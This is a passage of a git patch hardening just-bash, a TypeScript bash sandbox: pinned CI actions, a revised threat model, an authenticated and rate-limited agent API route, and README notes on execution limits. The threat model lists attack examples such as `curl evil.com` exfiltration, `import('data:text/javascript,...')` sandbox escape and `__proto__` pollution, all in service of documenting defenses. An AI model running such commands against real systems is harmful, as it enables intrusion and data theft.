packages/just-bash/src/security/defense-in-depth-intrinsic-protection.test.ts create mode 100644 packages/just-bash/src/security/defense-in-depth-lifecycle.test.ts create mode 100644 packages/just-bash/src/security/defense-runtime-capability.test.ts create mode 100644 packages/just-bash/src/security/general-core-followup.security.test.ts create mode 100644 packages/just-bash/src/security/limits/aggregate-output.test.ts create mode 100644 packages/just-bash/src/security/limits/compatibility-defaults.test.ts create mode 100644 packages/just-bash/src/security/limits/execution-scope.test.ts create mode 100644 packages/just-bash/src/source-limit.ts create mode 100644 scripts/check-deepsec-revalidation.mjs create mode 100644 scripts/check-workflow-security.mjs diff --git a/.changeset/secure-runtime-boundaries.md b/.changeset/secure-runtime-boundaries.md new file mode 100644 index 000000000..1fcc4edab --- /dev/null +++ b/.changeset/secure-runtime-boundaries.md @@ -0,0 +1,16 @@ +--- +"just-bash": minor +--- + +Harden untrusted execution with shared aggregate budgets, liberal normal and +opt-in hardened limit profiles, request-bound network validation, bounded +archive and worker processing, transactional filesystem and shell state, and +expanded adversarial regression checks. + +Established command declarations and host-extension defaults remain source +compatible. Dispatched callbacks receive a `ResolvedCommandContext` with +required limits; applications can use `createCommandContext({ fs })` for direct +invocation, opt into restricted custom-command execution with `trusted: false`, +and select tighter resource policy with the `hardened` profile. All +host-registration paths keep their established trusted default. The supported +Node.js floor is now declared as `>=20.18.1`. diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 000000000..3374d5074 --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: github-actions + directory: / + schedule: + interval: weekly + labels: + - dependencies + - security diff --git a/.github/workflows/comparison-tests.yml b/.github/workflows/comparison-tests.yml index c91037544..b20dc8995 100644 --- a/.github/workflows/comparison-tests.yml +++ b/.github/workflows/comparison-tests.yml @@ -6,16 +6,21 @@ on: pull_request: branches: [main] +permissions: + contents: read + jobs: comparison-tests: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + with: + persist-credentials: false - - uses: pnpm/action-setup@v4 + - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4 - - uses: actions/setup-node@v4 + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 with: node-version: "20" cache: "pnpm" diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index f7aedfd8c..ad980e8e9 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -6,16 +6,21 @@ on: pull_request: branches: [main] +permissions: + contents: read + jobs: lint: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + with: + persist-credentials: false - - uses: pnpm/action-setup@v4 + - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4 - - uses: actions/setup-node@v4 + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 with: node-version: "20" cache: "pnpm" diff --git a/.github/workflows/python-tests.yml b/.github/workflows/python-tests.yml index 9eb4d9b34..1f03e12c6 100644 --- a/.github/workflows/python-tests.yml +++ b/.github/workflows/python-tests.yml @@ -6,18 +6,22 @@ on: pull_request: branches: [main] +permissions: + contents: read + jobs: python-tests: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 with: lfs: true + persist-credentials: false - - uses: pnpm/action-setup@v4 + - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4 - - uses: actions/setup-node@v4 + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 with: node-version: "22" cache: "pnpm" diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 62b551924..ff76fa640 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -34,6 +34,7 @@ jobs: with: fetch-depth: 0 lfs: true + persist-credentials: false - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4 diff --git a/.github/workflows/typecheck.yml b/.github/workflows/typecheck.yml index 9144ae076..867eefb06 100644 --- a/.github/workflows/typecheck.yml +++ b/.github/workflows/typecheck.yml @@ -6,16 +6,21 @@ on: pull_request: branches: [main] +permissions: + contents: read + jobs: typecheck: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + with: + persist-credentials: false - - uses: pnpm/action-setup@v4 + - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4 - - uses: actions/setup-node@v4 + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 with: node-version: "20" cache: "pnpm" diff --git a/.github/workflows/unit-tests.yml b/.github/workflows/unit-tests.yml index 22867a228..587642490 100644 --- a/.github/workflows/unit-tests.yml +++ b/.github/workflows/unit-tests.yml @@ -6,6 +6,9 @@ on: pull_request: branches: [main] +permissions: + contents: read + jobs: unit-tests: runs-on: ubuntu-latest @@ -14,17 +17,21 @@ jobs: node-version: ["20", "22", "24"] steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 with: lfs: true + persist-credentials: false - - uses: pnpm/action-setup@v4 + - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4 - - uses: actions/setup-node@v4 + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 with: node-version: ${{ matrix.node-version }} cache: "pnpm" + - name: Install XZ build dependency + run: sudo apt-get update && sudo apt-get install --yes liblzma-dev + - name: Install dependencies run: pnpm install --frozen-lockfile diff --git a/THREAT_MODEL.md b/THREAT_MODEL.md index 1c437c838..3581c5dcc 100644 --- a/THREAT_MODEL.md +++ b/THREAT_MODEL.md @@ -158,7 +158,7 @@ The following components are **trusted** and outside the scope of just-bash's ru | Proxy constructor | Create intercepting proxies | Blocked by defense-in-depth proxy | `src/security/blocked-globals.ts` | | WeakRef/FinalizationRegistry | GC observation/side channels | Blocked by defense-in-depth proxy | `src/security/blocked-globals.ts` | | process.chdir() | Confuse CWD tracking | Blocked by defense-in-depth proxy | `src/security/blocked-globals.ts` | -| **dynamic import()** | `import('/tmp/evil.js')` | **BLOCKED**: `Module._resolveFilename` blocks file specifiers; ESM loader hooks block `data:`/`blob:` URLs (Node.js 20.6+; see §4.1) | `src/security/defense-in-depth-box.ts` | +| **dynamic import()** | `import('/tmp/evil.js')` | Context-aware loader hooks block builtins and executable URL schemes where supported; other supported runtimes retain best-effort secondary controls (see §4.1) | `src/security/defense-in-depth-box.ts` | | child_process | spawn/exec/fork | Not imported anywhere; no code path from interpreter | Architecture | ### 3.6 Information Disclosure @@ -223,23 +223,23 @@ The following components are **trusted** and outside the scope of just-bash's ru ## 4. Known Gaps & Residual Risks -### 4.1 Dynamic import() Mitigated (Three Layers) +### 4.1 Dynamic import() Defense Varies by Runtime Capability -**Risk**: LOW (comprehensively mitigated on Node.js 20.6+) +**Risk**: Defense-in-depth only; inspect the resolved runtime capability. Dynamic `import()` is a language-level keyword, not a property on any object. It cannot be intercepted by Proxy or defineProperty. However, it CAN be intercepted via Node.js ESM loader hooks. **Attack scenario**: If attacker achieves JS code execution → `import('data:text/javascript,...')` → full escape. -**Mitigations** (three layers): -1. **Module._resolveFilename blocked** — file-based `import()` specifiers (e.g., `import('/tmp/evil.js')`) are intercepted at the CJS module resolution level and blocked -2. **ESM loader hooks** — `module.registerHooks()` (Node.js 23.5+) or `module.register()` (Node.js 20.6+) installs hooks that reject `data:` and `blob:` URL specifiers process-wide. No CLI flags required. -3. **Filesystem restrictions** — OverlayFs writes to memory only, InMemoryFs has no real FS backing, so attacker cannot write .js files to the real filesystem -4. **Architecture** — no code path exists from bash interpretation to JS execution; all paths (Function, eval, setTimeout, constructor chains) are blocked +**Mitigations**: +1. **Context-aware loader hooks** — when `node:module.registerHooks()` is available, builtin and executable URL imports are rejected only from the untrusted async context. +2. **Scoped host controls** — supported runtimes without contextual hooks still apply the reversible best-effort global and CommonJS defenses. +3. **Filesystem restrictions** — OverlayFs writes to memory only, and InMemoryFs has no real filesystem backing. +4. **Architecture** — ordinary shell interpretation does not evaluate JavaScript. The opt-in `js-exec` feature uses a separately hardened worker boundary. -**Residual risk**: On Node.js < 20.6 where `module.register()` is unavailable, `data:` URL imports remain unblockable. For those deployments, use `--experimental-loader` CLI hooks as an additional layer. - -**Note**: The ESM loader hooks are process-wide and permanent (cannot be unregistered). This is an accepted trade-off — `data:` and `blob:` URL imports are essentially never used in production Node.js applications. +Call `DefenseInDepthBox.getInstance().getStatus()` and require `level: "full"` +when contextual dynamic-import protection is a deployment requirement. The +library does not install a permanent process-global deny-all loader. ### 4.2 Pre-Captured References Bypass Defense-in-Depth @@ -295,7 +295,7 @@ When `python: true`, CPython 3.13 Emscripten provides full Python execution via - Disabled by default; must be explicitly enabled via `{ python: true }` - 30-second timeout (`maxPythonTimeoutMs`; configurable) - Fresh Worker thread per execution (EXIT_RUNTIME; no state leakage between runs) -- `WorkerDefenseInDepth` with only 2 exclusions: `shared_array_buffer`, `atomics` +- `WorkerDefenseInDepth` with narrowly documented Emscripten compatibility exclusions; an earlier worker-entry guard blocks the exact dangerous CommonJS builtins before CPython loads - Stdlib shipped as `.pyc`-only zip in MEMFS (no real FS access, no runtime compilation) - 18+ file operations (open, stat, glob, pathlib, shutil, etc.) redirected through `/host` mount - C-level file operations (`_io.open`) also confined by Emscripten VFS (no NODEFS/NODERAWFS) @@ -308,7 +308,7 @@ When `python: true`, CPython 3.13 Emscripten provides full Python execution via - Python's `eval()` and `exec()` execute arbitrary Python (same as bash `eval`; no JS escalation path) - `/lib` (MEMFS stdlib) is writable within a single execution (each execution is fresh) - Symlink targets are readable via `os.readlink()` but not followable outside root -- Python can allocate memory up to WASM limits (mitigated by 30s timeout) +- CPython's WASM linear memory is not reliably contained by Node worker `resourceLimits`. Queue, deadline, bridge, and HOSTFS size controls bound other resources, but strong heap containment requires process/container isolation or a lower-memory CPython WASM build. ### 4.8 Error Message Information Leakage @@ -358,7 +358,7 @@ Heredocs with variable expansion are size-limited (10MB) but nested heredocs wit | 3 | Access process.env | No bash→JS path. If bug: defense-in-depth → throw | **BLOCKED** (arch + secondary) | | 4 | Infinite loop | `while true; do :; done` → maxLoopIterations → throw | **BLOCKED** (limits) | | 5 | Prototype pollution | `arr[__proto__]=evil` → Map/null-prototype → no effect | **BLOCKED** (data guards) | -| 6 | dynamic import() escape | Hypothetical JS exec → `import('data:...')` → ESM hooks block data:/blob: URLs | **BLOCKED** (Node.js 20.6+; residual on older) | +| 6 | dynamic import() escape | Hypothetical JS exec → `import('data:...')` → contextual loader hook | **BLOCKED when status is `level: "full"`; inspect lower levels otherwise** | | 7 | Network exfiltration | `curl evil.com` → network off → curl not registered | **BLOCKED** (network isolation) | | 8 | process.exit() | No bash→JS path. If bug: defense-in-depth → throw | **BLOCKED** (arch + secondary) | | 9 | Brace expansion OOM | `{1..999999999}` → maxBraceExpansionResults → truncated | **BLOCKED** (limits) | @@ -374,13 +374,13 @@ Heredocs with variable expansion are size-limited (10MB) but nested heredocs wit | 20 | performance.now() timing | Sub-ms timing attack → blocked by defense-in-depth | **BLOCKED** (secondary) | | 21 | Prototype pollution via `__defineGetter__` | Inject getter on prototype → blocked by defense-in-depth | **BLOCKED** (secondary) | | 22 | File-based import() | `import('/tmp/evil.js')` → Module._resolveFilename blocked → throw | **BLOCKED** (secondary) | -| 23 | data: URL import() | `import('data:text/javascript,...')` → ESM loader hooks → throw | **BLOCKED** (Node.js 20.6+) | +| 23 | data: URL import() | `import('data:text/javascript,...')` → contextual loader hook → throw | **BLOCKED when status is `level: "full"`; inspect lower levels otherwise** | --- ## 7. Recommendations for Future Hardening -1. ~~**`--experimental-loader` for import() blocking**~~ — **IMPLEMENTED**: ESM loader hooks via `module.register()` (Node.js 20.6+) / `module.registerHooks()` (Node.js 23.5+) block `data:` and `blob:` URL imports process-wide. Combined with `Module._resolveFilename` blocking for file specifiers, `import()` is fully mitigated on Node.js 20.6+. No CLI flags required. +1. **Runtime isolation for host-realm execution** — require `level: "full"` or use a dedicated worker/process when opt-in JavaScript can reach the host realm. 2. ~~**Systematic error message audit**~~ — **IMPLEMENTED**: `sanitizeErrorMessage()` applied at all error choke points; strips OS paths, `node:internal/` paths, and stack traces 3. **Content Security Policy for output** — Consider sanitizing output to prevent XSS when sandbox output is rendered in web contexts 4. **Expand fuzzing corpus** — Add grammar rules for trap, job control (`&`, `fg`, `bg`), and deeply nested heredocs with expansion diff --git a/biome.json b/biome.json index 1086712c5..0ed055f23 100644 --- a/biome.json +++ b/biome.json @@ -59,7 +59,8 @@ "!**/*.parsed.json", "!.claude", "!.pnpm-store", - "!.docs-test-tmp", + "!**/.docs-test-tmp", + "!.deepsec/data", "!packages/just-bash/src/commands/python3/worker.js", "!packages/just-bash/src/commands/js-exec/js-exec-worker.js", "!packages/just-bash/src/commands/sqlite3/worker.js", diff --git a/examples/website/README.md b/examples/website/README.md index 0fe9500cc..5e64836f5 100644 --- a/examples/website/README.md +++ b/examples/website/README.md @@ -2,6 +2,15 @@ This is an interactive demo of **just-bash** running entirely in your browser, with an AI agent that can explore the source code. +The paid-model `/api/agent` route is disabled by default in production. Set +`JUST_BASH_AGENT_API_TOKEN` and have an authenticated same-origin gateway add +`Authorization: Bearer ` to enable it. Never embed this server token in +browser JavaScript. The route also bounds request history, output tokens, +agent steps, retries, body-read and execution time, per-instance concurrency, +and admission rate. Production deployments should also add distributed provider/edge +per-principal rate and spend limits; an instance-local counter is not a global +quota in a horizontally scaled deployment. + ## Architecture ``` diff --git a/examples/website/app/api/agent/route.ts b/examples/website/app/api/agent/route.ts index 86636b812..8e98a811f 100644 --- a/examples/website/app/api/agent/route.ts +++ b/examples/website/app/api/agent/route.ts @@ -1,11 +1,256 @@ import { ToolLoopAgent, createAgentUIStreamResponse, stepCountIs } from "ai"; import { createBashTool } from "bash-tool"; import { Bash, OverlayFs } from "just-bash"; +import { timingSafeEqual } from "node:crypto"; import { dirname, join } from "path"; import { fileURLToPath } from "url"; const __dirname = dirname(fileURLToPath(import.meta.url)); const AGENT_DATA_DIR = join(__dirname, "./_agent-data"); +const MAX_REQUEST_BYTES = 64 * 1024; +const MAX_MESSAGES = 20; +const MAX_MESSAGE_TEXT_BYTES = 48 * 1024; +const MAX_BODY_READ_MS = 15_000; +const MAX_CONCURRENT_REQUESTS = 8; +const MAX_REQUESTS_PER_MINUTE = 120; +let activeRequests = 0; +const recentAdmissions: number[] = []; + +function unauthorized(): Response { + return Response.json({ error: "Unauthorized" }, { status: 401 }); +} + +function authenticate(req: Request): Response | undefined { + const configuredToken = process.env.JUST_BASH_AGENT_API_TOKEN; + if (!configuredToken) { + // The paid-model demo is convenient during local development, but a + // production deployment must opt in with an authentication boundary. + return process.env.NODE_ENV === "production" + ? Response.json( + { error: "Agent endpoint is disabled" }, + { status: 503 }, + ) + : undefined; + } + + const authorization = req.headers.get("authorization"); + if (!authorization?.startsWith("Bearer ")) return unauthorized(); + const supplied = authorization.slice("Bearer ".length); + const suppliedBytes = Buffer.from(supplied); + const configuredBytes = Buffer.from(configuredToken); + if ( + suppliedBytes.byteLength !== configuredBytes.byteLength || + !timingSafeEqual(suppliedBytes, configuredBytes) + ) { + return unauthorized(); + } + return undefined; +} + +function admitRequest(): (() => void) | Response { + const now = Date.now(); + while (recentAdmissions[0] !== undefined && recentAdmissions[0] <= now - 60_000) { + recentAdmissions.shift(); + } + if ( + activeRequests >= MAX_CONCURRENT_REQUESTS || + recentAdmissions.length >= MAX_REQUESTS_PER_MINUTE + ) { + return Response.json( + { error: "Too many requests" }, + { status: 429, headers: { "Retry-After": "60" } }, + ); + } + activeRequests++; + recentAdmissions.push(now); + let released = false; + return () => { + if (released) return; + released = true; + activeRequests--; + }; +} + +function releaseWhenStreamCloses( + response: Response, + release: () => void, +): Response { + if (!response.body) { + release(); + return response; + } + const reader = response.body.getReader(); + const body = new ReadableStream({ + async pull(controller) { + try { + const { done, value } = await reader.read(); + if (done) { + release(); + controller.close(); + } else { + controller.enqueue(value); + } + } catch (error) { + release(); + controller.error(error); + } + }, + async cancel(reason) { + try { + await reader.cancel(reason); + } finally { + release(); + } + }, + }); + return new Response(body, { + status: response.status, + statusText: response.statusText, + headers: response.headers, + }); +} + +async function readBoundedMessages(req: Request): Promise { + const declaredLength = Number(req.headers.get("content-length")); + if (Number.isFinite(declaredLength) && declaredLength > MAX_REQUEST_BYTES) { + throw new RangeError("request body too large"); + } + + const reader = req.body?.getReader(); + if (!reader) throw new TypeError("request body is required"); + const decoder = new TextDecoder(); + let totalBytes = 0; + let json = ""; + let bodyReadTimedOut = false; + const cancelRead = () => void reader.cancel("request cancelled"); + req.signal.addEventListener("abort", cancelRead, { once: true }); + const bodyTimer = setTimeout(() => { + bodyReadTimedOut = true; + void reader.cancel("request body deadline exceeded"); + }, MAX_BODY_READ_MS); + try { + while (true) { + const { done, value } = await reader.read(); + if (done) break; + totalBytes += value.byteLength; + if (totalBytes > MAX_REQUEST_BYTES) { + await reader.cancel(); + throw new RangeError("request body too large"); + } + json += decoder.decode(value, { stream: true }); + } + } finally { + clearTimeout(bodyTimer); + req.signal.removeEventListener("abort", cancelRead); + } + if (bodyReadTimedOut) throw new RangeError("request body deadline exceeded"); + json += decoder.decode(); + + const parsed: unknown = JSON.parse(json); + if ( + typeof parsed !== "object" || + parsed === null || + !("messages" in parsed) || + !Array.isArray(parsed.messages) || + parsed.messages.length === 0 || + parsed.messages.length > MAX_MESSAGES + ) { + throw new TypeError("invalid messages"); + } + + let textBytes = 0; + let structuredNodes = 0; + const chargeString = (value: string): void => { + textBytes += new TextEncoder().encode(value).byteLength; + if (textBytes > MAX_MESSAGE_TEXT_BYTES) { + throw new RangeError("message text too large"); + } + }; + const validateStructuredPart = (root: unknown): void => { + const stack: Array<{ value: unknown; depth: number }> = [ + { value: root, depth: 0 }, + ]; + while (stack.length > 0) { + const entry = stack.pop(); + if (!entry) break; + structuredNodes++; + if (structuredNodes > 1_000 || entry.depth > 8) { + throw new RangeError("message structure too large"); + } + if (typeof entry.value === "string") { + chargeString(entry.value); + } else if (Array.isArray(entry.value)) { + for (const value of entry.value) { + stack.push({ value, depth: entry.depth + 1 }); + } + } else if (typeof entry.value === "object" && entry.value !== null) { + for (const [key, value] of Object.entries(entry.value)) { + if ( + key === "__proto__" || + key === "prototype" || + key === "constructor" + ) { + throw new TypeError("invalid message key"); + } + chargeString(key); + stack.push({ value, depth: entry.depth + 1 }); + } + } else if ( + entry.value !== null && + typeof entry.value !== "boolean" && + typeof entry.value !== "number" + ) { + throw new TypeError("invalid message value"); + } + } + }; + for (const message of parsed.messages) { + if ( + typeof message !== "object" || + message === null || + !("role" in message) || + (message.role !== "user" && message.role !== "assistant") || + !("parts" in message) || + !Array.isArray(message.parts) || + message.parts.length === 0 || + message.parts.length > 20 + ) { + throw new TypeError("invalid message"); + } + for (const part of message.parts) { + if ( + typeof part !== "object" || + part === null || + !("type" in part) || + typeof part.type !== "string" || + part.type.length > 100 + ) { + throw new TypeError("invalid message part"); + } + if (part.type === "text" || part.type === "reasoning") { + if (part.type === "reasoning" && message.role !== "assistant") { + throw new TypeError("invalid reasoning part"); + } + if (!("text" in part) || typeof part.text !== "string") { + throw new TypeError("invalid text part"); + } + chargeString(part.text); + continue; + } + if ( + message.role !== "assistant" || + (part.type !== "dynamic-tool" && + part.type !== "step-start" && + !part.type.startsWith("tool-")) + ) { + throw new TypeError("unsupported message part"); + } + validateStructuredPart(part); + } + } + + return parsed.messages; +} const SYSTEM_INSTRUCTIONS = `You are an expert on just-bash, a TypeScript bash interpreter with an in-memory virtual filesystem. @@ -34,28 +279,47 @@ Use cat to read files. Use head, tail to read parts of large files. Keep responses concise. You do not have access to pnpm, npm, or node.`; export async function POST(req: Request) { - const { messages } = await req.json(); - const lastUserMessage = messages.filter((m: { role: string }) => m.role === "user").pop(); - console.log("Prompt:", lastUserMessage?.parts?.[0]?.text); - const overlayFs = new OverlayFs({ root: AGENT_DATA_DIR, readOnly: true }); - const sandbox = new Bash({ fs: overlayFs, cwd: overlayFs.getMountPoint() }); - const bashToolkit = await createBashTool({ - sandbox, - destination: overlayFs.getMountPoint(), - }); + const authError = authenticate(req); + if (authError) return authError; + const admission = admitRequest(); + if (admission instanceof Response) return admission; - // Create a fresh agent per request for proper streaming - const agent = new ToolLoopAgent({ - model: "claude-haiku-4-5", - instructions: SYSTEM_INSTRUCTIONS, - tools: { - bash: bashToolkit.tools.bash, - }, - stopWhen: stepCountIs(20), - }); + let messages: unknown[]; + try { + messages = await readBoundedMessages(req); + } catch (error) { + admission(); + const status = error instanceof RangeError ? 413 : 400; + return Response.json({ error: "Invalid request" }, { status }); + } + try { + const overlayFs = new OverlayFs({ root: AGENT_DATA_DIR, readOnly: true }); + const sandbox = new Bash({ fs: overlayFs, cwd: overlayFs.getMountPoint() }); + const bashToolkit = await createBashTool({ + sandbox, + destination: overlayFs.getMountPoint(), + }); - return createAgentUIStreamResponse({ - agent, - uiMessages: messages, - }); + // Create a fresh agent per request for proper streaming + const agent = new ToolLoopAgent({ + model: "claude-haiku-4-5", + maxOutputTokens: 2048, + maxRetries: 0, + instructions: SYSTEM_INSTRUCTIONS, + tools: { + bash: bashToolkit.tools.bash, + }, + stopWhen: stepCountIs(8), + }); + + const response = await createAgentUIStreamResponse({ + agent, + uiMessages: messages, + timeout: { totalMs: 30_000, stepMs: 10_000, chunkMs: 10_000 }, + }); + return releaseWhenStreamCloses(response, admission); + } catch (error) { + admission(); + throw error; + } } diff --git a/package.json b/package.json index e7bff8190..2d9fd6a5a 100644 --- a/package.json +++ b/package.json @@ -6,7 +6,7 @@ "build": "pnpm --filter './packages/*' build", "build:worker": "pnpm --filter just-bash build:worker", "typecheck": "pnpm --filter just-bash build && pnpm --filter './packages/*' typecheck", - "lint": "biome check . && pnpm --filter './packages/*' lint:banned", + "lint": "node scripts/check-workflow-security.mjs && biome check . && pnpm --filter './packages/*' lint:banned", "lint:fix": "biome check --write .", "knip": "pnpm --filter './packages/*' knip", "test:run": "pnpm --filter './packages/*' test:run", @@ -17,6 +17,7 @@ "test:dist": "pnpm --filter './packages/*' test:dist", "test:examples": "pnpm --filter cjs-consumer-example typecheck", "check:worker-sync": "pnpm --filter just-bash check:worker-sync", + "check:deepsec-revalidation": "node scripts/check-deepsec-revalidation.mjs", "shell": "pnpm --filter just-bash shell", "dev:exec": "pnpm --filter just-bash dev:exec", "changeset": "changeset", diff --git a/packages/just-bash/README.md b/packages/just-bash/README.md index dfb9dbca8..471a4c3d9 100644 --- a/packages/just-bash/README.md +++ b/packages/just-bash/README.md @@ -51,7 +51,31 @@ await bash.exec("hello Alice"); // "Hello, Alice!\n" await bash.exec("echo 'test' | upper"); // "TEST\n" ``` -Custom commands receive a `CommandContext` with `fs`, `cwd`, `env`, `stdin`, and `exec` (for subcommands), and work with pipes, redirections, and all shell features. +Custom command callbacks receive a `ResolvedCommandContext` with `fs`, `cwd`, +`env`, `stdin`, resolved `limits`, and `exec` (for subcommands), and work with +pipes, redirections, and all shell features. The legacy `CommandContext` remains +available for standalone context inputs; use `createCommandContext({ fs })` when +calling a command directly with a fully resolved context. + +Host-provided commands preserve the legacy trusted default whether supplied to +the `Bash` constructor, declared through `defineCommand`, loaded lazily, or +added later with `bash.registerCommand()`. Set `trusted: false` (or use +`defineCommand(name, execute, { trusted: false })`) to select the restricted +extension boundary. Trusted commands run in the embedding process and should +never execute guest-provided JavaScript. + +Every invocation is bound by `maxExecutionTimeMs`. On cancellation, just-bash +revokes the command context immediately; `maxExtensionCleanupTimeMs` only +bounds how long it waits for the now-authority-free command promise to settle. +A late continuation cannot use `ctx.fs`, `ctx.env`, `ctx.exec`, or other context +capabilities. Cleanup work that must run at scope closure can be registered with +`ctx.executionScope.registerCleanup()`. A cleanup failure is returned as a +generic exit-126 shell result rather than rejecting `Bash.exec()` or exposing +host error details. JavaScript cannot forcibly stop arbitrary host code, so +extensions requiring a hard guarantee against external side effects must run +in a terminable worker or process. Tests that invoke command objects directly +can use `createCommandContext({ fs })` to get a fully resolved context without +duplicating internal defaults.

Supported Commands

 @@ -189,13 +213,21 @@ const env = new Bash({ import { Bash } from "just-bash"; import { OverlayFs } from "just-bash/fs/overlay-fs"; -const overlay = new OverlayFs({ root: "/path/to/project" }); +const overlay = new OverlayFs({ + root: "/path/to/project", + // Copy-on-write data is bounded independently from real-file reads. + maxMemoryBytes: 256 * 1024 * 1024, +}); const env = new Bash({ fs: overlay, cwd: overlay.getMountPoint() }); await env.exec("cat package.json"); // reads from disk await env.exec('echo "modified" > package.json'); // stays in memory ``` +`maxMemoryBytes` defaults to 1 GiB and covers aggregate files retained in the +copy-on-write layer, including append chunks. Set it to the deployment's memory +budget when an `OverlayFs` is reused across executions. + **ReadWriteFs** - Direct read-write access to a real directory. Use this if you want the agent to be able to write to your disk: ```typescript @@ -368,7 +400,7 @@ await env.exec('js-exec -c "console.log(API_BASE)"'); `fs.readFileSync()` returns a `Buffer` by default (matching Node.js). Pass an encoding like `'utf8'` to get a string. -**Note:** The `js-exec` command only exists when `javascript` is configured. It is not available in browser environments. Execution runs in a QuickJS WASM sandbox with a 64 MB memory limit and configurable timeout (default: 10s, 60s with network). +**Note:** The `js-exec` command only exists when `javascript` is configured. It is not available in browser environments. Execution runs in a QuickJS WASM sandbox with a 64 MB memory limit and configurable timeout (30 seconds in the default `normal` profile and 10 seconds in the opt-in `hardened` profile). Enabling network access does not extend the configured deadline. #### Tool Invocation Hook @@ -433,7 +465,7 @@ await env.exec('sqlite3 :memory: "SELECT 1 + 1"'); await env.exec('sqlite3 data.db "SELECT * FROM users"'); ``` -**Note:** SQLite is not available in browser environments. Queries run in a worker thread with a configurable timeout (default: 5 seconds) to prevent runaway queries from blocking execution. +**Note:** SQLite is not available in browser environments. Queries run in a worker thread with a configurable timeout (30 seconds in the default `normal` profile and 5 seconds in the opt-in `hardened` profile) to prevent runaway queries from blocking execution. ## AST Transform Plugins @@ -571,25 +603,56 @@ Bash protects against infinite loops and deep recursion with configurable limits ```typescript const env = new Bash({ + // `normal` is the liberal, compatibility-oriented default. Use `hardened` + // for tighter untrusted-workload policy, then override individual resources. + executionLimitProfile: "hardened", executionLimits: { maxCallDepth: 100, // Max function recursion depth - maxCommandCount: 10000, // Max total commands executed - maxLoopIterations: 10000, // Max iterations per loop - maxAwkIterations: 10000, // Max iterations in awk programs - maxSedIterations: 10000, // Max iterations in sed scripts + maxCommandCount: 20000, // Shared across nested execution + maxSourceBytes: 8 * 1024 * 1024, // Shell source before parsing + maxFileSystemBytes: 256 * 1024 * 1024, // Retained default-FS data + maxOutputSize: 32 * 1024 * 1024, // Aggregate stdout + stderr bytes + maxArchiveBytes: 256 * 1024 * 1024, // Expanded archive bytes + maxDatabaseBytes: 128 * 1024 * 1024, // SQLite image bytes + maxExecutionTimeMs: 30_000, // Whole execution wall-clock deadline + maxExtensionCleanupTimeMs: 25, // Cancellation acknowledgement grace }, }); ``` -All limits have defaults. Error messages tell you which limit was hit. Increase as needed for your workload. +All resources remain bounded by default in both profiles. Explicit values +override the selected profile; non-negative safe integers and the legacy +`Infinity` spelling are accepted. Infinite deadlines omit the corresponding +platform timer rather than overflowing it. Invalid values are rejected when +`Bash` is constructed. Error messages identify the resource that was hit. ## Security Model +The Node.js package requires Node `>=20.18.1`. + - The shell only has access to the provided filesystem. - All execution happens without VM isolation. This does introduce additional risk. The code base was designed to be robust against prototype-pollution attacks and other break outs to the host JS engine and filesystem. - There is no network access by default. When enabled, requests are checked against URL prefix allow-lists and HTTP-method allow-lists. - Python and JavaScript execution are off by default as they represent additional security surface. - Execution is protected against infinite loops and deep recursion with configurable limits. +- Host-realm defense-in-depth uses the strongest scoped controls available on + each supported Node runtime. Where `node:module.registerHooks()` is present, + builtin ESM imports can also be denied only for the untrusted async context; + older runtimes retain best-effort scoped protection without failing existing + applications. It never installs a process-global deny-all loader. Query the + resolved capabilities with `DefenseInDepthBox.getInstance().getStatus()`. + Audit mode reports `level: "none"` because it records violations without + enforcing them. +- Scoped defense uses reversible proxies for `Reflect`, `JSON`, and `Math` and + restores their host descriptors on deactivation. This is reported as + `intrinsicProtection: "scoped-best-effort"`: same-realm JavaScript that + cached an intrinsic or a mutation function before activation cannot be fully + revoked (including the direct `delete` operator). The separately named + `processLifetimeIntrinsicHardening: true` option permanently freezes those + objects and locks selected well-known Symbol descriptors; use it only in a + disposable or process-lifetime realm. Use an isolated worker/process when + complete protection and reversible host state are both required. +- Node worker `resourceLimits` do not reliably cap the WebAssembly linear memory used by CPython or sql.js. Queue, deadline, file, database, bridge, and payload limits reduce exposure, but strong memory containment for these opt-in runtimes requires process/container isolation or a WASM build with a lower hard maximum. - Use [Vercel Sandbox](https://vercel.com/docs/vercel-sandbox) if you need a full VM with arbitrary binary execution. ## Browser Support diff --git a/packages/just-bash/package.json b/packages/just-bash/package.json index ab9ff9b3c..3020c1222 100644 --- a/packages/just-bash/package.json +++ b/packages/just-bash/package.json @@ -11,6 +11,9 @@ "url": "https://github.com/vercel-labs/just-bash/issues" }, "type": "module", + "engines": { + "node": ">=20.18.1" + }, "main": "dist/bundle/index.js", "types": "dist/index.d.ts", "exports": { @@ -62,7 +65,7 @@ "build:worker": "esbuild src/commands/python3/worker.ts --bundle --platform=node --format=esm --outfile=src/commands/python3/worker.js 